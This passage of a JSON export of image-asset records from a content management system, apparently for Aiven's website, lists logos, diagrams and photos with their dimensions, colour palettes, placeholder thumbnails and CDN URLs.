6","foreground":"#fff","population":0.38,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#573e25","foreground":"#fff","population":1.2,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#573e25","foreground":"#fff","population":1.2,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bad7cf","foreground":"#000","population":0.31,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d6e197","foreground":"#000","population":0.94,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5979a5","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d5bc16","foreground":"#000","population":0.12,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":[{"_ref":"yPSJChxxML0IGsXeJoKtjG","_type":"reference","_weak":true}]}},"originalFilename":"romaric-philogene.jpg","path":"images/sczeoy4w/production/411ef6589fbfad57579ad1ceb5ad704c434164d2-390x391.jpg","sha1hash":"411ef6589fbfad57579ad1ceb5ad704c434164d2","size":13006,"title":"Romaric Philogene","uploadId":"RBKpPSdMcZcP4LzUXibwxbYyMDizSxSv","url":"https://cdn.sanity.io/images/sczeoy4w/production/411ef6589fbfad57579ad1ceb5ad704c434164d2-390x391.jpg"} {"_createdAt":"2024-02-16T11:34:40Z","_id":"image-4156deabbe04358def2875a9869a5eef7bdd17bb-1567x844-png","_rev":"UjGmMOs0V2SxB808i085DD","_type":"sanity.imageAsset","_updatedAt":"2024-02-16T11:34:40Z","assetId":"4156deabbe04358def2875a9869a5eef7bdd17bb","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MD8qXS%KISxuRk?woyM{ozR*IAWEt7afj=","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACeElEQVQokS2Qa0/aYABG+wuktLSltH3bAuU2cNMsxBmZTLFOBbnYViiFQrnD8EKcmyiTmSw6HKiYxZlpNpP90E2z5Hw9OXkeCCFlgs2QvGbl8iRv2OxVm73OuLc43x7n2+eedXl/zx7o2/2HvLfDuNoE30DpAkxmTIQEObzF2TedxdVuWDwILx+FIr2Z+aPQ0om4fv42MRLjl2L8ejnxXYxfRqKnM+Ej3reDsw2UNsw2DXo2VVuJ99TCIKMPpOwgoQxiG4O4MtpQr9P6D9W4U41fWukhXbiV1IuV5Glw/sQ91aOEDs61Id9UVYx2lexptvgtow+l7FDOXsjaOCZfrCvjTPEuV3ko1v/kK/eydhWTh2J8/Grh3B7oUa5PkBAohcX9teRxUvmSTJ/FpLPYxmBdGa2lRjF5LGm3in6vln6rxs+YNJxdOA4Eu8LkHiV0SOdHiHXrwdD266X9sHgwt9gNRXqhSD+0dLK49jUqXSXSN1H5JirdrKYu5yJ9h79lYXSEyqG0gbNNCKEUkldpZx4IRVooA3ed9bQ5744j8N47fegPHvtefvZM913PPwB30wJ0hPoPBmrQBJ4y4SmYkM1k2mzTEKqA0mULaGBsC2ObGNsk+G2C38XYptmmw7asBVSxp7dRugRZySQHZE7IUc4CxugoVbQwFexRbqJMGaF0lClhoG5hKmZSg8kMBmoY20CoPGxNQ3aQmhTSky8qQqBG8gYGDJytElyL4N9hoIxQGkrnMFC2MAZszcDWzadm0WTdnMBTEODTdqfq8BQ4d4l2limhxrhawL3FenYZV9vmKNscZcrZxNkSbN00Pa7LwmRmgpD+yX8BzgyyYi+0srAAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#372e5b","foreground":"#fff","population":0.14,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141e6c","foreground":"#fff","population":12.84,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141e6c","foreground":"#fff","population":12.84,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#969ac3","foreground":"#000","population":1.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e1e7f3","foreground":"#000","population":8.48,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#686e92","foreground":"#fff","population":1.57,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bb494e","foreground":"#fff","population":0.17,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"elephantsql-aiven-migrate.png","path":"images/sczeoy4w/production/4156deabbe04358def2875a9869a5eef7bdd17bb-1567x844.png","sha1hash":"4156deabbe04358def2875a9869a5eef7bdd17bb","size":152154,"uploadId":"XAHo3xMxSELw2i8IoW1tTR6vZC5AVHYL","url":"https://cdn.sanity.io/images/sczeoy4w/production/4156deabbe04358def2875a9869a5eef7bdd17bb-1567x844.png"} {"_createdAt":"2023-08-01T10:32:41Z","_id":"image-417873ae2e710bd12a797f9af0f66161118ba2d6-800x204-png","_rev":"yVtK81NbbqTTUsUfL0ugTD","_type":"sanity.imageAsset","_updatedAt":"2023-08-01T10:32:41Z","assetId":"417873ae2e710bd12a797f9af0f66161118ba2d6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D04K2VWnJga{Jgw$SJN=SJN=","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.9215686274509802,"height":204,"width":800},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAABYlAAAWJQFJUiTwAAAA3UlEQVQYlS2QyysFcBCFPyXZW1lZcT5EsrG6Rd7llcVNsvLIvSJ55JF3IX+2pn7LOTPzzTlDCOKQuCx+i3vibMideC1Oi13xN6QjLojvYl/cFWvuS3wSTwo2EDIWclxL4lHIvvgh3oqbITfiTwMctrkCnIlbZUCcFxcLOBKyGnIq3osP4nk5CHkRL1v93BwXpLQCXolzIYPisDhawLWQg5CK3GvXK/a2+Ne0JfFRfBXXxR3xIqQXshGiOCN2CvgWUsvjYsWun0w1yKe4Ik62+NWfKK2Z6IbctyR1sP8PKgFBAabnn+cAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#181414","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2d0434","foreground":"#fff","population":0.29,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2d0434","foreground":"#fff","population":0.29,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#7a0a8e","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e483f5","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7a0a8e","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cc12ec","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"MMC_Plum_Logo_Medium.png","path":"images/sczeoy4w/production/417873ae2e710bd12a797f9af0f66161118ba2d6-800x204.png","sha1hash":"417873ae2e710bd12a797f9af0f66161118ba2d6","size":8850,"uploadId":"KihDjUZeTAvItM4yBB2P0RNTBJbYrIIV","url":"https://cdn.sanity.io/images/sczeoy4w/production/417873ae2e710bd12a797f9af0f66161118ba2d6-800x204.png"} {"_createdAt":"2022-07-06T08:12:05Z","_id":"image-41bf2f72c0a4c8def391b8bd40463dd894343541-64x64-svg","_rev":"0HOthdQkSgJdYc0CAX5Z3s","_type":"sanity.imageAsset","_updatedAt":"2022-07-06T08:22:54Z","altText":"Aiven for Clickhouse logo","assetId":"41bf2f72c0a4c8def391b8bd40463dd894343541","description":null,"extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":64,"width":64},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAE5UlEQVQ4jTWUzW/cVxWGrxfe1HPvnRmHlIaCVNHW3RkEKETJwiEIFq1QIqBSQkVbmip2VLeLIpKiLlLHICGBxA7xRzgLz9ixx57vsccfM2PPxB/xz21Sx6Zbd2MX6573Peg3CYuru3v03nOe9xqpWiNVZ0LdGim6Hin4tOT9RZl3d2XOFSTnDmTWfRPu++Mw7Q/ClM+HrL8bsv5iyPi0TPoemT1lwmTShElvTAz8pvRcfPdK2Q5IyY1I0U1I3kcy77+WOX8iOQ+Z8ZD7/iRM+8MwlYxCNnkvZFM3QyY1EDKp3jDxbRMyKWOk7I3UbK9U7aBU7LiUXVtK7kgKTiXvVOasSs6pzHqVGa9y32uY9hqy7ihkbDtk3HjI+MGQSfbKPWOMLNoeWbADUrPjUrW7UnEiZacoOqLYTxRPE/k0Jecos44yk6TkzlDmX1aZ+a5Itn83ZPx4mPQDkj3VY1C3aSzaESzYNmpOUHVExRG17xCr5xWt14mlc0TxxafQXL9K7Rxl/T1K4yqlckFk9qV2yKRGwqRPGyzZi6jbe1h0R1hwKjVLLL5ArF1SbL9PbN9QbF5XNN9QlF9RKbxINK4oorvE7t+IzVsqlQtHIds/ESbdkMGyvYtlG6FuFYuOWDpDtH+m2BkmNt5UNM4r2r9WbH+oaF9TrPxC0blObN9S7NwhHoxSSj/SMJWOQsaPGazaAlbs11iyipUXiAeXFNEwEY0oNn+n6FxWbLylePiBYudjxfZHiq1RxeZHROeGSvUsZeZbGqaShyHr8wYNe4DVxAlWrHJ9kNy9Tuy8q4jeV+z9Rbn/T+Xe3xXRx4rOVcX6bxTttxSbHygalynzZximrYbp5EmY8gcGTXuMRgJc9crNi+Ten8nPhxWP/qj86l/K//xb8fgzxda7ivVfKdavKDbeU3TeVtR+QMmlGOsU7nuEaX/8DNgHNtPKh6+TX/2DfHJH+fiW8slfFY9uK7auKbZ+r3h4U7H5h6czrf9YUTj9TKeuo4jbFAMP0Ow74drzyugyeTBGPvlU+ehDRfSOonNJsXlF8egTxc5Nxeo5RfV7imJ/LD5lzlNyPhb/RGb8fgzMo5k45Npp5fYQ+eWocv8OuXdbufFzReNVxfbV7jyxM6yov6JSSqgUHaXgFfOeMufiNh3KrMvHwDG0bISWVXa+T35xLU6p3PuE7JxVNF9W7Lyt2PtMu5tffk2lbImS70IRp5z3KnMukpwbM2gmhtCyE2g+d9RNGb1B7t8m9/6k3PoluT6ojN5RfvmpYndU0fghUfGKsqOUHKXY7fyRzLsJmYvFbibSaNkRNPvaXEsLty+Qj2+Qj2+S0ZvKBz8lH/6W/GKU2B0m1s4ramlKxfIZVKTg2pJ3IzLv0jGwB007gGZiHC23y85Lwq2zyq1z5MZPyPVXyfYg+eAC0T5PNF4jFtKUqtVnH8muFN24FNyA5G2P0XUbQ3vRTAw+hfo2WqkjtlLaPY2kcjWlXEkrlvsV9VRc0bjzR1J1bam4cSm5QSm63rDgjGHTGl1z/4fGSePnT6DZF6HZd4hG4gSrCWAlASwnTlC3h1i0O7LgJqRmR6RiB6Rse/87kzRSdiYGGbas0VZfvPEetFwaLTfU3X5XKXuAhj3Gqj3Git3Hks2j7sZk0Q5JzaWl5npC7pSRkjNStOZ/lZ087HrDXp4AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#746054","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#66430d","foreground":"#fff","population":0.98,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f9cc09","foreground":"#000","population":8.01,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4d5ad","foreground":"#000","population":0.15,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7e899","foreground":"#000","population":2.37,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#746c3c","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9cc09","foreground":"#000","population":8.01,"title":"#fff"}}},"mimeType":"image/svg+xml","opt":{"media":{"tags":[{"_ref":"oamrAPLmQLQjd9jh7h8yUw","_type":"reference","_weak":true}]}},"originalFilename":"logo-clickhouse.svg","path":"images/sczeoy4w/production/41bf2f72c0a4c8def391b8bd40463dd894343541-64x64.svg","sha1hash":"41bf2f72c0a4c8def391b8bd40463dd894343541","size":3846,"title":"Aiven for Clickhouse logo","uploadId":"6MvzHIBwUEbxxiUQR9UX8DjqF2vqOVEK","url":"https://cdn.sanity.io/images/sczeoy4w/production/41bf2f72c0a4c8def391b8bd40463dd894343541-64x64.svg"} {"_createdAt":"2022-11-09T11:35:07Z","_id":"image-41e3357038e7c5a3f7586fe077bf37310879e2e5-2018x1118-png","_rev":"AgVn9c2bYty4stE1Qs76BK","_type":"sanity.imageAsset","_updatedAt":"2022-11-09T11:49:28Z","altText":null,"assetId":"41e3357038e7c5a3f7586fe077bf37310879e2e5","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8050089445438282,"height":1118,"width":2018},"exif":{"PixelXDimension":2018,"PixelYDimension":1118,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABYlAAAWJQFJUiTwAAABYElEQVQokW2Tja7CMAiF9/5vqVGTuzujW3+g0PbcwOpyNZp8IRQ8BcomEYGqorWG3ruD3lFrRc4Z67rtbDspJajWI7e2Ci7suUSEKYToSSKM2tQTamuotUFUUUTAIm5F98st3npzK6oIMeDxeOC5rpiezxXrtiJTAJUEEgJJcXjYw9fBiLEKispRYc6EyVRNMOUILgQu2SlimE+ggZ3TiLsVhlRFG+0bh2CmjGrBZshA/UyrtTlilmP+cdb2uY/f9Bo4Mb09zH98pja3D/ZZ9uMhvcLVK9zAzF8F7Q9cBDElhBBgjxhidJtS9kd5VTgEN2whoJTytTq7JOWMn3nG9XbD9Xo9+F0WEPO74Lbtt9o+fhXsHZkI8zzjcrngfD7jdDq5NUEehRyCMUYYJuhzqUbdcd8Wt3gXtmv3+x3Lsrj1Qj5bttnZ/ljLzMW3/ROr0Nq2XTNrH4L7RJDx1bwE/wBZZFtRx7ja4QAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#242828","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#736b10","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d9d6ac","foreground":"#000","population":0.26,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d9d6ac","foreground":"#000","population":0.26,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4efb4","foreground":"#000","population":0.03,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c8c84","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#decf20","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"premium-6x-8_messages.png","path":"images/sczeoy4w/production/41e3357038e7c5a3f7586fe077bf37310879e2e5-2018x1118.png","sha1hash":"41e3357038e7c5a3f7586fe077bf37310879e2e5","size":242619,"title":null,"uploadId":"ajINqBwlwDH2wEADH3iBGaYD8owtfdsx","url":"https://cdn.sanity.io/images/sczeoy4w/production/41e3357038e7c5a3f7586fe077bf37310879e2e5-2018x1118.png"} {"_createdAt":"2022-10-24T15:55:56Z","_id":"image-41ec1d7ec9c830f60138224c5e03ec9ce8827a9a-800x357-png","_rev":"o6tzS9VqKAkmnDQmLEbXpR","_type":"sanity.imageAsset","_updatedAt":"2022-10-24T16:05:35Z","altText":"A key can be used to decide which partition an event goes to. Here, the user is the key. Partition 1 gets events for John, partition 2 those for Claire, and partition 3 those for Burt.","assetId":"41ec1d7ec9c830f60138224c5e03ec9ce8827a9a","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.2408963585434174,"height":357,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAIAAAC9o5sfAAAACXBIWXMAAAsTAAALEwEAmpwYAAABMklEQVQokXXQ7Y7cIAyF4dz/RfZrEwwYbMB2CJkkU2VnV2q3qvT8OtIrWZ50fX5h/Wl/L6JnygNid94WsBls9qtPYxK7XtROuV1/LNdraW1HFOdlAZ2dzk4WEB9tKu2g8sg8mHumDfNA2hPtSDvxIO6ZR+GVkFLkGDXEFdFybkR1Srx73JxXD8W5+muRN2czrDMYQAPHCwjGlkNOIWMoOffadtUhOqbEA8L6tjS3FAcygy2+u9BdWL0XgOpAoi/JJ4SIHplM7LB+6fqcmh6JhgsWsRPvVA6uLw8u+wdSRk6REnIppnbo+hmX9uD6qHKKff38zc5Wt5w0RA1oVIa8l3ccUAMKle1+77/l7WptYFLnBYJm3sRO6+/x95/h2w+AUJse/4tFd6YaY4mxFha1x+vs33lO/layAHY4AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#34373b","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#625d22","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d4c2ae","foreground":"#000","population":0.08,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4c2ae","foreground":"#000","population":0.08,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f2ee7c","foreground":"#000","population":0.04,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a29451","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c4bc54","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"kafka-partitioning-using-key.png","path":"images/sczeoy4w/production/41ec1d7ec9c830f60138224c5e03ec9ce8827a9a-800x357.png","sha1hash":"41ec1d7ec9c830f60138224c5e03ec9ce8827a9a","size":25827,"title":null,"uploadId":"XfPkf5SuEVYOiW40FkK142q3Psjhhpds","url":"https://cdn.sanity.io/images/sczeoy4w/production/41ec1d7ec9c830f60138224c5e03ec9ce8827a9a-800x357.png"} {"_createdAt":"2024-08-26T03:52:32Z","_id":"image-421aa54742d288864f9ee7a7a36de4439b803b98-2182x1314-png","_rev":"vxdiygNMKB9xDhiP9dpRq1","_type":"sanity.imageAsset","_updatedAt":"2024-08-26T03:52:32Z","assetId":"421aa54742d288864f9ee7a7a36de4439b803b98","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M9S6V#I:yDs;tN~Woe-Xa*WFO8x_NK$ztP","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.660578386605784,"height":1314,"width":2182},"exif":{"PixelXDimension":2182,"PixelYDimension":1314,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAABYlAAAWJQFJUiTwAAACLklEQVQokXWS3W7jNhSE/f5PsU/Ru73Y5q5It1s0u3aSdRInlmVJFin+iP/yV0hxgnSBHmBAggccznDO6nw+8wou6ytsGrmVW/44/sVG/MQke+lNpCCw8hanHynZMdfbvRX/U6FE9qZmfbrnRR/wJVw6Z1IY0GLLqPdMl/N3wjJNaJdolKc3gZAy0zSRS0Lbnub0jFQtMTlKyeScUcbwXNc0vSDl/F9CFyJ39cDvm4brhxPtMBJiJDiN6rd01Tdks8YMR6zRaG14biTXPxvWe4kJvxAaO/LYKL4+CdYHhbRxURGDRYkdst2g+y1GHjFKYY2lE4aHo2IvRnwqnD8S2nHEOo91jtFbUnJMJS8qeykRUuBHs6gzxpBipORMSoVcJqYPQS6EMURi8Hh7RJ++Y8QaN3Z0yvLjpeeukijrcc4tdp0PlFxgmt4DPM9kl/2qlIL3I0P/RHe4RjTfsPpIO1jW1cDdYUCPgRgTh95wWwmq3i7hfVR2flMo/EClaqr+GTnUuFGQkyfmgg2ZMaTFYkyZ+1rx5UfNPzuB9a9h8EutHtUzN92Gu9MjnZbo0RPnj54nfTYyvzyPUcp00nC/b6m64V3h/IdlKqSSFqyGoDm5nkr13Lx0/LlteWoVzkdSSgvm1FP0WFUj2lu03BG8XnoueBrb8SB3PAw7Vm/e58H+7e+KT1dbrjY1p8HgvVvC8N7jxgHZfqd9+YKorzGqZrQWoSU3zZrPT1d83l3xL5M8mRf4+f8XAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#494649","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#447494","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bdd5d6","foreground":"#000","population":2.43,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bdd5d6","foreground":"#000","population":2.43,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4ea9f","foreground":"#000","population":1.83,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a99d62","foreground":"#000","population":0.83,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9d9139","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"long_agent_memory_arch_5.png","path":"images/sczeoy4w/production/421aa54742d288864f9ee7a7a36de4439b803b98-2182x1314.png","sha1hash":"421aa54742d288864f9ee7a7a36de4439b803b98","size":283235,"uploadId":"0sGXaETktauGCpCQruAf1lQEPUToKwXn","url":"https://cdn.sanity.io/images/sczeoy4w/production/421aa54742d288864f9ee7a7a36de4439b803b98-2182x1314.png"} {"_createdAt":"2023-12-22T08:15:17Z","_id":"image-4233e3d3ed6db491e182d0489c74c0d5f2e0ca2c-1899x1246-png","_rev":"sg5cBJWkRHo7pkcz4SbaqV","_type":"sanity.imageAsset","_updatedAt":"2023-12-22T08:15:17Z","assetId":"4233e3d3ed6db491e182d0489c74c0d5f2e0ca2c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VEBpO,_4W89YRMT1NexuNLM{s*oz-pxbWCx{x]f5D$M{","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5240770465489566,"height":1246,"width":1899},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAAECUlEQVQ4jQXBW0xTdxwA4EPc5sKSPShCcYzeb6en55zeb/ROL7SlUHqBYrlKmdAVhlolgSiIIU4nc3ghURKzaLLNPTgTX5bsaQ+7hGXZw0aCjLYYpIDsAW3rlrb/374Pi4TDyOvvRMOf3IDbX/6BnvyQRd8+/QWdnZ4HuydwgCv9G9UfBPexmlilqi4OVXVxVFUbgeoazWutRLFxsjW0l4idqsyeTsHC3BzCLA4vcrV2o8TpBbh3/0f0+PHP6O7dr9DHyRS4vB0HQrkzfZhh3q+qcVYO1Qfh0PEYqmJ0QjXDmleKVRt+vWEvaLVUxjscMBFyIowhtCCOsg3Z2sdR4swXaGb2Dkomp5DH341IrfvgGN6Sfo/t2q8X2CsiZQew5VF0lO+Hozx3nqZtGxYlvWeUiSp2GR+MEibC3mIY4XCjDY4QbSAyDYDeMwIaezeINT6oJ1tfVeOdmVpZ7B+bswsNDyShp28C9PYo8LXRvNwYTLvNupcOPYnkUj7gQiZg79TShbcZiuK7XFvxfdxTqJG4CwzcXmDSriJfG96tI4OrtZL2Lb2xI9/TFS/2xUYLRnvPG6469pLQ+FbdTcrn/iYyb1SIihopr4jRCk2GkimzhKZ5E7dENlSO6KrD07sWjoxk4oOptROdH/2q0XpWOHzdmlCsz9K0JUvSvk2BxP+Mx9f+Rgv4f+pwQcYgxTebpHgWG+0Pbyd723PxoYGdocmr2Qvz935fml/6a/nq/RcPPn+Qe3jtzvrFUxMrZpVtlcemtvlc1Y5B7stZ1cFtsdD+nMnSbRF8VU4rVecUUlsO6w23l6J+RykQCpVPjM29Pndx+e/5uYdb168//Xdx8fvK0mdfv7qSurweaQltq6Xa/3CBvqygWktaZVcJJ6MlIR0r0VRLicC1JSYRKGHN5mYgJThwhSKwNLe9GRi6kE1OP9qZuvFTeebWCsxceVJMTVzOtHuCe1qZroILVcAXGIAnbAYO3gZiWQQIqRUaeTQcEfkBa/dFkFhMoWPHG4CkqGI40J8ZHr2Zmzj/qDQ1/Q1MnrlZGOgdT1ttvl2FXFcmcBpwEYl4PBI1sGnUyJEhFkuIGA0cVMOUI2xs5DyYTB7EFoiBoiXFgMub6fImcqGWs+X+tiT0eroLLpM7rVQbd+UyZUUlJcBAE0hNEiASS4EjwIHLYgGX2QASDhuwhUvzKDEYR9GAH5J94eK5wZPpZkNPTiQMldWkDzw6e8Gtb0rr1dodr1lf7rTpIGjSIKdODXK5CihKAUoCB72EC06KC9jtucnSp6lE5db0OHy3OJdfnr207jAOvPiQ5SmpKRcM+9vyI8GWZ61m/fZIwF0ei/jBZ7UiGa0EAU4BJaXAJJeCVSYGK8WD/wF5ONP6A0poJgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5a2a36","foreground":"#fff","population":0.16,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#112975","foreground":"#fff","population":6.17,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#112975","foreground":"#fff","population":6.17,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c5b0b6","foreground":"#000","population":5.78,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ebc0ab","foreground":"#000","population":0.72,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9f6c64","foreground":"#fff","population":1.54,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3462bb","foreground":"#fff","population":4.21,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"aiven-london-live-postevent-1.png","path":"images/sczeoy4w/production/4233e3d3ed6db491e182d0489c74c0d5f2e0ca2c-1899x1246.png","sha1hash":"4233e3d3ed6db491e182d0489c74c0d5f2e0ca2c","size":4006707,"uploadId":"797YqUXSkDsDFKNW9TAa7xLHWh0t14Nd","url":"https://cdn.sanity.io/images/sczeoy4w/production/4233e3d3ed6db491e182d0489c74c0d5f2e0ca2c-1899x1246.png"} {"_createdAt":"2023-12-14T13:20:41Z","_id":"image-42acfe601ed90a9ab106226523715e0026851e4c-2048x1365-jpg","_rev":"7oPGYyiRG7hm5kP9hVxsHU","_type":"sanity.imageAsset","_updatedAt":"2023-12-14T13:20:41Z","assetId":"42acfe601ed90a9ab106226523715e0026851e4c","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5003663003663004,"height":1365,"width":2048},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAcDBAUI/8QAIBAAAgICAgMBAQAAAAAAAAAAAQMCEQAFBAYSITETof/EABYBAQEBAAAAAAAAAAAAAAAAAAIEBf/EAB8RAAEDBAMBAAAAAAAAAAAAAAEAAgMTFCIxBBFBIf/aAAwDAQACEQMRAD8Ai6Zu0a581ciK5Mmyog+/mZnadnw37uUotUA+JZ4mh4AfRivPK52k3k9Xx+aySIzskgXLKPaZmTVsFhkibld5G9tWJsBOPi0I3UpHcgDL1PrT9x0a9cmEH/mAKqQ94ZzaraPRALhVD+4YLPrSd+D9O1//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#36435f","foreground":"#fff","population":0.24,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#652e1b","foreground":"#fff","population":7.27,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#652e1b","foreground":"#fff","population":7.27,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d6b2aa","foreground":"#000","population":1.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f0a57e","foreground":"#000","population":0.05,"